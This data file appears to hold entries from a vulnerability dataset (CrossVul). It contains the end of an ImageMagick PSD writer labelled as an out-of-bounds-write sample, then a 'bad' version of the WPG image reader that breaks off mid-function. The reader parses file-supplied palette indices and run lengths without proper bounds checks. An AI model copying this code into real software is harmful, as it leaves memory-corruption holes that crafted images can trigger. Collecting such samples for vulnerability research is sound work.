NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property, &image->exception); default_color=strlen(property) == 9 ? 255 : 0; } size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.y); size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.x); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.y+ next_image->rows)); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.x+ next_image->columns)); channels=1U; if ((next_image->storage_class != PseudoClass) && (IsGrayImage(next_image,&next_image->exception) == MagickFalse)) channels=next_image->colorspace == CMYKColorspace ? 4U : 3U; total_channels=channels; if (next_image->matte != MagickFalse) total_channels++; if (mask != (Image *) NULL) total_channels++; size+=WriteBlobMSBShort(image,total_channels); layer_size_offsets[layer_index++]=TellBlob(image); for (i=0; i < (ssize_t) channels; i++) size+=WriteChannelSize(&psd_info,image,(signed short) i); if (next_image->matte != MagickFalse) size+=WriteChannelSize(&psd_info,image,-1); if (mask != (Image *) NULL) size+=WriteChannelSize(&psd_info,image,-2); size+=WriteBlob(image,4,(const unsigned char *) "8BIM"); size+=WriteBlob(image,4,(const unsigned char *) CompositeOperatorToPSDBlendMode(next_image->compose)); property=GetImageArtifact(next_image,"psd:layer.opacity"); if (property != (const char *) NULL) { Quantum opacity; opacity=(Quantum) StringToInteger(property); size+=WriteBlobByte(image,ScaleQuantumToChar(opacity)); (void) ApplyPSDLayerOpacity(next_image,opacity,MagickTrue, &image->exception); } else size+=WriteBlobByte(image,255); size+=WriteBlobByte(image,0); size+=WriteBlobByte(image,next_image->compose==NoCompositeOp ? 1 << 0x02 : 1); /* layer properties - visible, etc. */ size+=WriteBlobByte(image,0); info=GetAdditionalInformation(image_info,next_image); property=(const char *) GetImageProperty(next_image,"label"); if (property == (const char *) NULL) { (void) FormatLocaleString(layer_name,MaxTextExtent,"L%.20g", (double) layer_index); property=layer_name; } name_length=strlen(property)+1; if ((name_length % 4) != 0) name_length+=(4-(name_length % 4)); if (info != (const StringInfo *) NULL) name_length+=GetStringInfoLength(info); name_length+=8; if (mask != (Image *) NULL) name_length+=20; size+=WriteBlobMSBLong(image,(unsigned int) name_length); if (mask == (Image *) NULL) size+=WriteBlobMSBLong(image,0); else { if (mask->compose != NoCompositeOp) (void) ApplyPSDOpacityMask(next_image,mask,ScaleCharToQuantum( default_color),MagickTrue,&image->exception); mask->page.y+=image->page.y; mask->page.x+=image->page.x; size+=WriteBlobMSBLong(image,20); size+=WriteBlobMSBSignedLong(image,mask->page.y); size+=WriteBlobMSBSignedLong(image,mask->page.x); size+=WriteBlobMSBLong(image,mask->rows+mask->page.y); size+=WriteBlobMSBLong(image,mask->columns+mask->page.x); size+=WriteBlobByte(image,default_color); size+=WriteBlobByte(image,mask->compose == NoCompositeOp ? 2 : 0); size+=WriteBlobMSBShort(image,0); } size+=WriteBlobMSBLong(image,0); size+=WritePascalString(image,property,4); if (info != (const StringInfo *) NULL) size+=WriteBlob(image,GetStringInfoLength(info), GetStringInfoDatum(info)); next_image=GetNextImageInList(next_image); } /* Now the image data! */ next_image=base_image; layer_index=0; while (next_image != NULL) { length=WritePSDChannels(&psd_info,image_info,image,next_image, layer_size_offsets[layer_index++],MagickTrue); if (length == 0) { status=MagickFalse; break; } size+=length; next_image=GetNextImageInList(next_image); } (void) WriteBlobMSBLong(image,0); /* user mask data */ /* Remove the opacity mask from the registry */ next_image=base_image; while (next_image != (Image *) NULL) { property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) DeleteImageRegistry(property); next_image=GetNextImageInList(next_image); } /* Write the total size */ size_offset+=WritePSDSize(&psd_info,image,size+ (psd_info.version == 1 ? 8 : 16),size_offset); if ((size/2) != ((size+1)/2)) rounded_size=size+1; else rounded_size=size; (void) WritePSDSize(&psd_info,image,rounded_size,size_offset); layer_size_offsets=(MagickOffsetType *) RelinquishMagickMemory( layer_size_offsets); /* Write composite image. */ if (status != MagickFalse) { CompressionType compression; compression=image->compression; if (image->compression == ZipCompression) image->compression=RLECompression; if (WritePSDChannels(&psd_info,image_info,image,image,0, MagickFalse) == 0) status=MagickFalse; image->compression=compression; } (void) CloseBlob(image); return(status); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3108_0
crossvul-cpp_data_bad_5304_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % W W PPPP GGGG % % W W P P G % % W W W PPPP G GGG % % WW WW P G G % % W W P GGG % % % % % % Read WordPerfect Image Format % % % % Software Design % % Jaroslav Fojtik % % June 2000 % % % % % % Copyright 1999-2016 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/color-private.h" #include "magick/colormap.h" #include "magick/colormap-private.h" #include "magick/constitute.h" #include "magick/distort.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/cache.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/magic.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/pixel-accessor.h" #include "magick/quantum-private.h" #include "magick/resource_.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/module.h" #include "magick/transform.h" #include "magick/utility.h" #include "magick/utility-private.h" typedef struct { unsigned char Red; unsigned char Blue; unsigned char Green; } RGB_Record; /* Default palette for WPG level 1 */ static const RGB_Record WPG1_Palette[256]={ { 0, 0, 0}, { 0, 0,168}, { 0,168, 0}, { 0,168,168}, {168, 0, 0}, {168, 0,168}, {168, 84, 0}, {168,168,168}, { 84, 84, 84}, { 84, 84,252}, { 84,252, 84}, { 84,252,252}, {252, 84, 84}, {252, 84,252}, {252,252, 84}, {252,252,252}, /*16*/ { 0, 0, 0}, { 20, 20, 20}, { 32, 32, 32}, { 44, 44, 44}, { 56, 56, 56}, { 68, 68, 68}, { 80, 80, 80}, { 96, 96, 96}, {112,112,112}, {128,128,128}, {144,144,144}, {160,160,160}, {180,180,180}, {200,200,200}, {224,224,224}, {252,252,252}, /*32*/ { 0, 0,252}, { 64, 0,252}, {124, 0,252}, {188, 0,252}, {252, 0,252}, {252, 0,188}, {252, 0,124}, {252, 0, 64}, {252, 0, 0}, {252, 64, 0}, {252,124, 0}, {252,188, 0}, {252,252, 0}, {188,252, 0}, {124,252, 0}, { 64,252, 0}, /*48*/ { 0,252, 0}, { 0,252, 64}, { 0,252,124}, { 0,252,188}, { 0,252,252}, { 0,188,252}, { 0,124,252}, { 0, 64,252}, {124,124,252}, {156,124,252}, {188,124,252}, {220,124,252}, {252,124,252}, {252,124,220}, {252,124,188}, {252,124,156}, /*64*/ {252,124,124}, {252,156,124}, {252,188,124}, {252,220,124}, {252,252,124}, {220,252,124}, {188,252,124}, {156,252,124}, {124,252,124}, {124,252,156}, {124,252,188}, {124,252,220}, {124,252,252}, {124,220,252}, {124,188,252}, {124,156,252}, /*80*/ {180,180,252}, {196,180,252}, {216,180,252}, {232,180,252}, {252,180,252}, {252,180,232}, {252,180,216}, {252,180,196}, {252,180,180}, {252,196,180}, {252,216,180}, {252,232,180}, {252,252,180}, {232,252,180}, {216,252,180}, {196,252,180}, /*96*/ {180,220,180}, {180,252,196}, {180,252,216}, {180,252,232}, {180,252,252}, {180,232,252}, {180,216,252}, {180,196,252}, {0,0,112}, {28,0,112}, {56,0,112}, {84,0,112}, {112,0,112}, {112,0,84}, {112,0,56}, {112,0,28}, /*112*/ {112,0,0}, {112,28,0}, {112,56,0}, {112,84,0}, {112,112,0}, {84,112,0}, {56,112,0}, {28,112,0}, {0,112,0}, {0,112,28}, {0,112,56}, {0,112,84}, {0,112,112}, {0,84,112}, {0,56,112}, {0,28,112}, /*128*/ {56,56,112}, {68,56,112}, {84,56,112}, {96,56,112}, {112,56,112}, {112,56,96}, {112,56,84}, {112,56,68}, {112,56,56}, {112,68,56}, {112,84,56}, {112,96,56}, {112,112,56}, {96,112,56}, {84,112,56}, {68,112,56}, /*144*/ {56,112,56}, {56,112,69}, {56,112,84}, {56,112,96}, {56,112,112}, {56,96,112}, {56,84,112}, {56,68,112}, {80,80,112}, {88,80,112}, {96,80,112}, {104,80,112}, {112,80,112}, {112,80,104}, {112,80,96}, {112,80,88}, /*160*/ {112,80,80}, {112,88,80}, {112,96,80}, {112,104,80}, {112,112,80}, {104,112,80}, {96,112,80}, {88,112,80}, {80,112,80}, {80,112,88}, {80,112,96}, {80,112,104}, {80,112,112}, {80,114,112}, {80,96,112}, {80,88,112}, /*176*/ {0,0,64}, {16,0,64}, {32,0,64}, {48,0,64}, {64,0,64}, {64,0,48}, {64,0,32}, {64,0,16}, {64,0,0}, {64,16,0}, {64,32,0}, {64,48,0}, {64,64,0}, {48,64,0}, {32,64,0}, {16,64,0}, /*192*/ {0,64,0}, {0,64,16}, {0,64,32}, {0,64,48}, {0,64,64}, {0,48,64}, {0,32,64}, {0,16,64}, {32,32,64}, {40,32,64}, {48,32,64}, {56,32,64}, {64,32,64}, {64,32,56}, {64,32,48}, {64,32,40}, /*208*/ {64,32,32}, {64,40,32}, {64,48,32}, {64,56,32}, {64,64,32}, {56,64,32}, {48,64,32}, {40,64,32}, {32,64,32}, {32,64,40}, {32,64,48}, {32,64,56}, {32,64,64}, {32,56,64}, {32,48,64}, {32,40,64}, /*224*/ {44,44,64}, {48,44,64}, {52,44,64}, {60,44,64}, {64,44,64}, {64,44,60}, {64,44,52}, {64,44,48}, {64,44,44}, {64,48,44}, {64,52,44}, {64,60,44}, {64,64,44}, {60,64,44}, {52,64,44}, {48,64,44}, /*240*/ {44,64,44}, {44,64,48}, {44,64,52}, {44,64,60}, {44,64,64}, {44,60,64}, {44,55,64}, {44,48,64}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0} /*256*/ }; /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s W P G % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsWPG() returns True if the image format type, identified by the magick % string, is WPG. % % The format of the IsWPG method is: % % unsigned int IsWPG(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o status: Method IsWPG returns True if the image format type is WPG. % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the magick string. % */ static unsigned int IsWPG(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (memcmp(magick,"\377WPC",4) == 0) return(MagickTrue); return(MagickFalse); } static void Rd_WP_DWORD(Image *image,size_t *d) { unsigned char b; b=ReadBlobByte(image); *d=b; if (b < 0xFFU) return; b=ReadBlobByte(image); *d=(size_t) b; b=ReadBlobByte(image); *d+=(size_t) b*256l; if (*d < 0x8000) return; *d=(*d & 0x7FFF) << 16; b=ReadBlobByte(image); *d+=(size_t) b; b=ReadBlobByte(image); *d+=(size_t) b*256l; return; } static void InsertRow(unsigned char *p,ssize_t y,Image *image, int bpp) { ExceptionInfo *exception; int bit; ssize_t x; register PixelPacket *q; IndexPacket index; register IndexPacket *indexes; exception=(&image->exception); switch (bpp) { case 1: /* Convert bitmap scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-7); x+=8) { for (bit=0; bit < 8; bit++) { index=((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(indexes+x+bit,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; } p++; } if ((image->columns % 8) != 0) { for (bit=0; bit < (ssize_t) (image->columns % 8); bit++) { index=((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(indexes+x+bit,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; } p++; } if (!SyncAuthenticPixels(image,exception)) break; break; } case 2: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-1); x+=2) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p >> 4) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p >> 2) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p) & 0x3); SetPixelIndex(indexes+x+1,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if ((image->columns % 4) != 0) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; if ((image->columns % 4) >= 1) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; if ((image->columns % 4) >= 2) { index=ConstrainColormapIndex(image,(*p >> 2) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; } } p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; break; } case 4: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-1); x+=2) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x0f); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p) & 0x0f); SetPixelIndex(indexes+x+1,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if ((image->columns % 2) != 0) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x0f); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; break; } case 8: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < (ssize_t) image->columns; x++) { index=ConstrainColormapIndex(image,*p); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } break; case 24: /* Convert DirectColor scanline. */ q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelRed(q,ScaleCharToQuantum(*p++)); SetPixelGreen(q,ScaleCharToQuantum(*p++)); SetPixelBlue(q,ScaleCharToQuantum(*p++)); q++; } if (!SyncAuthenticPixels(image,exception)) break; break; } } /* Helper for WPG1 raster reader. */ #define InsertByte(b) \ { \ BImgBuff[x]=b; \ x++; \ if((ssize_t) x>=ldblk) \ { \ InsertRow(BImgBuff,(ssize_t) y,image,bpp); \ x=0; \ y++; \ } \ } /* WPG1 raster reader. */ static int UnpackWPGRaster(Image *image,int bpp) { int x, y, i; unsigned char bbuf, *BImgBuff, RunCount; ssize_t ldblk; x=0; y=0; ldblk=(ssize_t) ((bpp*image->columns+7)/8); BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, 8*sizeof(*BImgBuff)); if(BImgBuff==NULL) return(-2); while(y<(ssize_t) image->rows) { int c; c=ReadBlobByte(image); if (c == EOF) break; bbuf=(unsigned char) c; RunCount=bbuf & 0x7F; if(bbuf & 0x80) { if(RunCount) /* repeat next byte runcount * */ { bbuf=ReadBlobByte(image); for(i=0;i<(int) RunCount;i++) InsertByte(bbuf); } else { /* read next byte as RunCount; repeat 0xFF runcount* */ c=ReadBlobByte(image); if (c < 0) break; RunCount=(unsigned char) c; for(i=0;i<(int) RunCount;i++) InsertByte(0xFF); } } else { if(RunCount) /* next runcount byte are readed directly */ { for(i=0;i < (int) RunCount;i++) { bbuf=ReadBlobByte(image); InsertByte(bbuf); } } else { /* repeat previous line runcount* */ c=ReadBlobByte(image); if (c < 0) break; RunCount=(unsigned char) c; if(x) { /* attempt to duplicate row from x position: */ /* I do not know what to do here */ BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(-3); } for(i=0;i < (int) RunCount;i++) { x=0; y++; /* Here I need to duplicate previous row RUNCOUNT* */ if(y<2) continue; if(y>(ssize_t) image->rows) { BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(-4); } InsertRow(BImgBuff,y-1,image,bpp); } } } } BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(y < (ssize_t) image->rows ? -5 : 0); } /* Helper for WPG2 reader. */ #define InsertByte6(b) \ { \ DisableMSCWarning(4310) \ if(XorMe)\ BImgBuff[x] = (unsigned char)~b;\ else\ BImgBuff[x] = b;\ RestoreMSCWarning \ x++; \ if((ssize_t) x >= ldblk) \ { \ InsertRow(BImgBuff,(ssize_t) y,image,bpp); \ x=0; \ y++; \ } \ } /* WPG2 raster reader. */ static int UnpackWPG2Raster(Image *image,int bpp) { int XorMe = 0; int RunCount; size_t x, y; ssize_t i, ldblk; unsigned int SampleSize=1; unsigned char bbuf, *BImgBuff, SampleBuffer[8] = { 0, 0, 0, 0, 0, 0, 0, 0 }; x=0; y=0; ldblk=(ssize_t) ((bpp*image->columns+7)/8); BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, sizeof(*BImgBuff)); if(BImgBuff==NULL) return(-2); while( y< image->rows) { bbuf=ReadBlobByte(image); switch(bbuf) { case 0x7D: SampleSize=ReadBlobByte(image); /* DSZ */ if(SampleSize>8) return(-2); if(SampleSize<1) return(-2); break; case 0x7E: (void) FormatLocaleFile(stderr, "\nUnsupported WPG token XOR, please report!"); XorMe=!XorMe; break; case 0x7F: RunCount=ReadBlobByte(image); /* BLK */ if (RunCount < 0) break; for(i=0; i < SampleSize*(RunCount+1); i++) { InsertByte6(0); } break; case 0xFD: RunCount=ReadBlobByte(image); /* EXT */ if (RunCount < 0) break; for(i=0; i<= RunCount;i++) for(bbuf=0; bbuf < SampleSize; bbuf++) InsertByte6(SampleBuffer[bbuf]); break; case 0xFE: RunCount=ReadBlobByte(image); /* RST */ if (RunCount < 0) break; if(x!=0) { (void) FormatLocaleFile(stderr, "\nUnsupported WPG2 unaligned token RST x=%.20g, please report!\n" ,(double) x); return(-3); } { /* duplicate the previous row RunCount x */ for(i=0;i<=RunCount;i++) { InsertRow(BImgBuff,(ssize_t) (image->rows >= y ? y : image->rows-1), image,bpp); y++; } } break; case 0xFF: RunCount=ReadBlobByte(image); /* WHT */ if (RunCount < 0) break; for (i=0; i < SampleSize*(RunCount+1); i++) { InsertByte6(0xFF); } break; default: RunCount=bbuf & 0x7F; if(bbuf & 0x80) /* REP */ { for(i=0; i < SampleSize; i++) SampleBuffer[i]=ReadBlobByte(image); for(i=0;i<=RunCount;i++) for(bbuf=0;bbuf<SampleSize;bbuf++) InsertByte6(SampleBuffer[bbuf]); } else { /* NRP */ for(i=0; i< SampleSize*(RunCount+1);i++) { bbuf=ReadBlobByte(image); InsertByte6(bbuf); } } } } BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(0); } typedef float tCTM[3][3]; static unsigned LoadWPG2Flags(Image *image,char Precision,float *Angle,tCTM *CTM) { const unsigned char TPR=1,TRN=2,SKW=4,SCL=8,ROT=0x10,OID=0x20,LCK=0x80; ssize_t x; unsigned DenX; unsigned Flags; (void) memset(*CTM,0,sizeof(*CTM)); /*CTM.erase();CTM.resize(3,3);*/ (*CTM)[0][0]=1; (*CTM)[1][1]=1; (*CTM)[2][2]=1; Flags=ReadBlobLSBShort(image); if(Flags & LCK) (void) ReadBlobLSBLong(image); /*Edit lock*/ if(Flags & OID) { if(Precision==0) {(void) ReadBlobLSBShort(image);} /*ObjectID*/ else {(void) ReadBlobLSBLong(image);} /*ObjectID (Double precision)*/ } if(Flags & ROT) { x=ReadBlobLSBLong(image); /*Rot Angle*/ if(Angle) *Angle=x/65536.0; } if(Flags & (ROT|SCL)) { x=ReadBlobLSBLong(image); /*Sx*cos()*/ (*CTM)[0][0] = (float)x/0x10000; x=ReadBlobLSBLong(image); /*Sy*cos()*/ (*CTM)[1][1] = (float)x/0x10000; } if(Flags & (ROT|SKW)) { x=ReadBlobLSBLong(image); /*Kx*sin()*/ (*CTM)[1][0] = (float)x/0x10000; x=ReadBlobLSBLong(image); /*Ky*sin()*/ (*CTM)[0][1] = (float)x/0x10000; } if(Flags & TRN) { x=ReadBlobLSBLong(image); DenX=ReadBlobLSBShort(image); /*Tx*/ if(x>=0) (*CTM)[0][2] = (float)x+(float)DenX/0x10000; else (*CTM)[0][2] = (float)x-(float)DenX/0x10000; x=ReadBlobLSBLong(image); DenX=ReadBlobLSBShort(image); /*Ty*/ (*CTM)[1][2]=(float)x + ((x>=0)?1:-1)*(float)DenX/0x10000; if(x>=0) (*CTM)[1][2] = (float)x+(float)DenX/0x10000; else (*CTM)[1][2] = (float)x-(float)DenX/0x10000; } if(Flags & TPR) { x=ReadBlobLSBShort(image); DenX=ReadBlobLSBShort(image); /*Px*/ (*CTM)[2][0] = x + (float)DenX/0x10000;; x=ReadBlobLSBShort(image); DenX=ReadBlobLSBShort(image); /*Py*/ (*CTM)[2][1] = x + (float)DenX/0x10000; } return(Flags); } static Image *ExtractPostscript(Image *image,const ImageInfo *image_info, MagickOffsetType PS_Offset,ssize_t PS_Size,ExceptionInfo *exception) { char postscript_file[MaxTextExtent]; const MagicInfo *magic_info; FILE *ps_file; ImageInfo *clone_info; Image *image2; unsigned char magick[2*MaxTextExtent]; if ((clone_info=CloneImageInfo(image_info)) == NULL) return(image); clone_info->blob=(void *) NULL; clone_info->length=0; /* Obtain temporary file */ (void) AcquireUniqueFilename(postscript_file); ps_file=fopen_utf8(postscript_file,"wb"); if (ps_file == (FILE *) NULL) goto FINISH; /* Copy postscript to temporary file */ (void) SeekBlob(image,PS_Offset,SEEK_SET); (void) ReadBlob(image, 2*MaxTextExtent, magick); (void) SeekBlob(image,PS_Offset,SEEK_SET); while(PS_Size-- > 0) { (void) fputc(ReadBlobByte(image),ps_file); } (void) fclose(ps_file); /* Detect file format - Check magic.mgk configuration file. */ magic_info=GetMagicInfo(magick,2*MaxTextExtent,exception); if(magic_info == (const MagicInfo *) NULL) goto FINISH_UNL; /* printf("Detected:%s \n",magic_info->name); */ if(exception->severity != UndefinedException) goto FINISH_UNL; if(magic_info->name == (char *) NULL) goto FINISH_UNL; (void) CopyMagickMemory(clone_info->magick,magic_info->name,MaxTextExtent); /* Read nested image */ /*FormatString(clone_info->filename,"%s:%s",magic_info->name,postscript_file);*/ FormatLocaleString(clone_info->filename,MaxTextExtent,"%s",postscript_file); image2=ReadImage(clone_info,exception); if (!image2) goto FINISH_UNL; /* Replace current image with new image while copying base image attributes. */ (void) CopyMagickMemory(image2->filename,image->filename,MaxTextExtent); (void) CopyMagickMemory(image2->magick_filename,image->magick_filename,MaxTextExtent); (void) CopyMagickMemory(image2->magick,image->magick,MaxTextExtent); image2->depth=image->depth; DestroyBlob(image2); image2->blob=ReferenceBlob(image->blob); if ((image->rows == 0) || (image->columns == 0)) DeleteImageFromList(&image); AppendImageToList(&image,image2); FINISH_UNL: (void) RelinquishUniqueFileResource(postscript_file); FINISH: DestroyImageInfo(clone_info); return(image); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d W P G I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Method ReadWPGImage reads an WPG X image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadWPGImage method is: % % Image *ReadWPGImage(const ImageInfo *image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image: Method ReadWPGImage returns a pointer to the image after % reading. A null image is returned if there is a memory shortage or if % the image cannot be read. % % o image_info: Specifies a pointer to a ImageInfo structure. % % o exception: return any errors or warnings in this structure. % */ static Image *ReadWPGImage(const ImageInfo *image_info, ExceptionInfo *exception) { typedef struct { size_t FileId; MagickOffsetType DataOffset; unsigned int ProductType; unsigned int FileType; unsigned char MajorVersion; unsigned char MinorVersion; unsigned int EncryptKey; unsigned int Reserved; } WPGHeader; typedef struct { unsigned char RecType; size_t RecordLength; } WPGRecord; typedef struct { unsigned char Class; unsigned char RecType; size_t Extension; size_t RecordLength; } WPG2Record; typedef struct { unsigned HorizontalUnits; unsigned VerticalUnits; unsigned char PosSizePrecision; } WPG2Start; typedef struct { unsigned int Width; unsigned int Height; unsigned int Depth; unsigned int HorzRes; unsigned int VertRes; } WPGBitmapType1; typedef struct { unsigned int Width; unsigned int Height; unsigned char Depth; unsigned char Compression; } WPG2BitmapType1; typedef struct { unsigned int RotAngle; unsigned int LowLeftX; unsigned int LowLeftY; unsigned int UpRightX; unsigned int UpRightY; unsigned int Width; unsigned int Height; unsigned int Depth; unsigned int HorzRes; unsigned int VertRes; } WPGBitmapType2; typedef struct { unsigned int StartIndex; unsigned int NumOfEntries; } WPGColorMapRec; /* typedef struct { size_t PS_unknown1; unsigned int PS_unknown2; unsigned int PS_unknown3; } WPGPSl1Record; */ Image *image; unsigned int status; WPGHeader Header; WPGRecord Rec; WPG2Record Rec2; WPG2Start StartWPG; WPGBitmapType1 BitmapHeader1; WPG2BitmapType1 Bitmap2Header1; WPGBitmapType2 BitmapHeader2; WPGColorMapRec WPG_Palette; int i, bpp, WPG2Flags; ssize_t ldblk; size_t one; unsigned char *BImgBuff; tCTM CTM; /*current transform matrix*/ /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); one=1; image=AcquireImage(image_info); image->depth=8; status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read WPG image. */ Header.FileId=ReadBlobLSBLong(image); Header.DataOffset=(MagickOffsetType) ReadBlobLSBLong(image); Header.ProductType=ReadBlobLSBShort(image); Header.FileType=ReadBlobLSBShort(image); Header.MajorVersion=ReadBlobByte(image); Header.MinorVersion=ReadBlobByte(image); Header.EncryptKey=ReadBlobLSBShort(image); Header.Reserved=ReadBlobLSBShort(image); if (Header.FileId!=0x435057FF || (Header.ProductType>>8)!=0x16) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if (Header.EncryptKey!=0) ThrowReaderException(CoderError,"EncryptedWPGImageFileNotSupported"); image->columns = 1; image->rows = 1; image->colors = 0; bpp=0; BitmapHeader2.RotAngle=0; switch(Header.FileType) { case 1: /* WPG level 1 */ while(!EOFBlob(image)) /* object parser loop */ { (void) SeekBlob(image,Header.DataOffset,SEEK_SET); if(EOFBlob(image)) break; Rec.RecType=(i=ReadBlobByte(image)); if(i==EOF) break; Rd_WP_DWORD(image,&Rec.RecordLength); if(EOFBlob(image)) break; Header.DataOffset=TellBlob(image)+Rec.RecordLength; switch(Rec.RecType) { case 0x0B: /* bitmap type 1 */ BitmapHeader1.Width=ReadBlobLSBShort(image); BitmapHeader1.Height=ReadBlobLSBShort(image); if ((BitmapHeader1.Width == 0) || (BitmapHeader1.Height == 0)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); BitmapHeader1.Depth=ReadBlobLSBShort(image); BitmapHeader1.HorzRes=ReadBlobLSBShort(image); BitmapHeader1.VertRes=ReadBlobLSBShort(image); if(BitmapHeader1.HorzRes && BitmapHeader1.VertRes) { image->units=PixelsPerCentimeterResolution; image->x_resolution=BitmapHeader1.HorzRes/470.0; image->y_resolution=BitmapHeader1.VertRes/470.0; } image->columns=BitmapHeader1.Width; image->rows=BitmapHeader1.Height; bpp=BitmapHeader1.Depth; goto UnpackRaster; case 0x0E: /*Color palette */ WPG_Palette.StartIndex=ReadBlobLSBShort(image); WPG_Palette.NumOfEntries=ReadBlobLSBShort(image); image->colors=WPG_Palette.NumOfEntries; if (!AcquireImageColormap(image,image->colors)) goto NoMemory; for (i=WPG_Palette.StartIndex; i < (int)WPG_Palette.NumOfEntries; i++) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->colormap[i].green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); } break; case 0x11: /* Start PS l1 */ if(Rec.RecordLength > 8) image=ExtractPostscript(image,image_info, TellBlob(image)+8, /* skip PS header in the wpg */ (ssize_t) 